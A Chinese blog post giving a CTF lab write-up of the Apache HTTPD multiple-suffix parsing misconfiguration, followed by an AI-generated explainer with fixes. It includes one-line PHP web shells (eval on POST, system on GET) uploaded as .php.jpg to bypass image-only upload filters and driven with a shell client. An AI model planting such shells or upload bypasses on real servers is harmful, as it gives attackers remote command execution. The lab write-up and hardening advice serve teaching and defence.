NSSCTF实战:Apache HTTPD 多后缀解析漏洞

文章介绍了Apache的文件解析漏洞,该漏洞允许攻击者通过配置错误将.php后缀的文件解析为PHP,即便文件名中含有其他后缀如.jpg。在特定实验环境中,作者通过上传.php.jpg文件并成功解析,验证了漏洞存在。进一步,文章展示了如何利用此漏洞写入shell并获取远程控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、漏洞描述

该漏洞并不是Apache软件本身的问题,漏洞与用户的配置有密切的关系,属于用户的配置问题。Apache文件解析漏洞涉及到一个Apache解析文件的特性,Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别。

如果用户给.php后缀的文件添加了处理程序 AddHandler application/x-httpd-php .php 那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为php文件进行解析。

2、实验环境

NSSCTF实战:Apache HTTPD 多后缀解析漏洞

 

3、开启环境

浏览器访问得到以下结果

 

4、漏洞复现

经过多次上传尝试,发现靶场限制了只能上传jpg、png、gif文件

利用Apache解析文件的特性,自己手写一个php文件,命名为phpinfo.php.jpg

<?php
    phpinfo();
?>

尝试上传并访问文件位置http://node4.anna.nssctf.cn:28128/uploadfiles/phpinfo.php.jpg​​​​​

发现phpinfo.php.jpg文件被成功解析,证实了该环境存在Apache HTTPD 多后缀解析漏洞

 

5、漏洞利用

第一步:写shell并上传

写一个shell文件上传,命名为shell.php.jpg

<?php
    eval($_POST["cmd"]);

第二步:get shell

使用godzilla get shell(http://node4.anna.nssctf.cn:28128/uploadfiles/shell.php.jpg)

 

<think>我们正在处理用户关于Apache HTTPD后缀解析漏洞的查询。根据用户的要求,我们需要提供漏洞的详情、可能的利用方式以及修复方法。同时,我们需要参考提供的引用内容,并确保回答结构清晰、可靠。 根据引用[1]和引用[2]: - 漏洞原因:Apache HTTPD服务器在解析文件时,允许一个文件有后缀(以点分割)。它会从最右边开始识别后缀名,如果遇到无法识别的后缀,则向左继续识别。如果配置中使用了`AddHandler`指令(例如`AddHandler application/x-httpd-php .php`)来处理PHP文件,那么只要文件名中包含`.php`后缀(即使它并不是最后一个后缀),该文件就会被当作PHP文件解析。 - 漏洞影响:攻击者可以上传一个看似非PHP的文件(例如`filename.php.jpg`),但由于其中包含`.php`后缀Apache会将其作为PHP文件解析并执行其中的恶意代码。 - 漏洞与版本无关,属于配置不当导致。 修复方法: 1. 修改配置,避免使用`AddHandler`指令,而是使用`FilesMatch`指令来精确匹配文件类型。例如: ```apache <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> ``` 这样配置后,只有以`.php`结尾的文件才会被当作PHP文件解析。 2. 禁止上传目录执行脚本:在文件上传目录的配置中,移除PHP处理程序,确保上传目录下的文件不会被当作脚本执行。例如: ```apache <Directory "/var/www/upload"> php_flag engine off # 或者对于Apache 2.4,可以使用: # SetHandler None </Directory> ``` 3. 清理文件后缀:在应用程序中,对上传的文件名进行严格检查,确保只有一个后缀且是允许的类型。 4. 使用`mod_rewrite`阻止恶意请求:可以添加规则来阻止包含后缀的请求,特别是包含`.php`的请求。 5. 确保其他后缀不被错误解析:检查服务器配置,确保没有其他非必要后缀被配置为可执行脚本。 相关问题: 1. 如何验证Apache服务器是否存在后缀解析漏洞? 2. 除了后缀解析漏洞Apache HTTPD还有哪些常见的安全漏洞? 3. 如何配置Apache服务器以提高文件上传功能的安全性? 4. 在Nginx服务器中,是否也存在类似的后缀解析漏洞?如何防范?</think>### Apache HTTPD 后缀解析漏洞详情 #### 漏洞原理 Apache HTTPD 在处理文件时存在一个特性:**允许单个文件拥有后缀名**(如 `file.php.jpg`)。解析规则如下: 1. 从**最右侧后缀开始识别**(如 `.jpg`) 2. 若无法识别则**向左依次检测**后缀名 3. 遇到可识别的后缀(如 `.php`)时,**直接按该类型解析文件**[^1][^2] **关键触发条件**: ```apache # 危险配置示例(漏洞根源) AddHandler application/x-httpd-php .php ``` 当存在此配置时,上传 `malicious.php.jpg` 文件会被解析PHP 脚本执行,因为服务器识别到 `.php` 后缀[^1]。 #### 漏洞利用方式 1. **文件上传绕过** - 攻击者上传伪装文件:`shell.php.jpg` 或 `shell.php.123` - Apache 解析时识别 `.php` 后缀,执行其中的恶意代码 - 经典攻击载荷: ```php <?php system($_GET['cmd']); ?> ``` 2. **结合其他漏洞** - 配合文件上传功能缺陷,突破白名单限制 - 通过路径拼接触发解析(如 `/uploads/user_avatar.php.jpg`) #### 修复方法 1. **修改 Apache 配置**(根本解决方案) ```apache # 替换危险的 AddHandler 指令 <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> ``` 此配置**严格匹配以 `.php` 结尾的文件**,忽略后缀情况[^1]。 2. **限制上传目录执行权限** ```apache <Directory "/var/www/uploads"> # 禁止执行脚本 php_flag engine off Options -ExecCGI </Directory> ``` 3. **应用程序层防护** - 文件上传时**重命名文件**(如生成随机文件名) - 检查文件内容而非依赖后缀名 - 使用 MIME 类型检测(如 `finfo_file()`) 4. **补充方案** - 升级到 Apache 2.4.26+ 并启用 `AllowOverride None` - 使用 WAF 规则拦截异常后缀组合(如 `.php.`) > **注意**:该漏洞Apache/PHP 版本无关,纯属配置问题[^1]。修复后需测试 `test.php.jpg` 是否返回源码而非执行。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值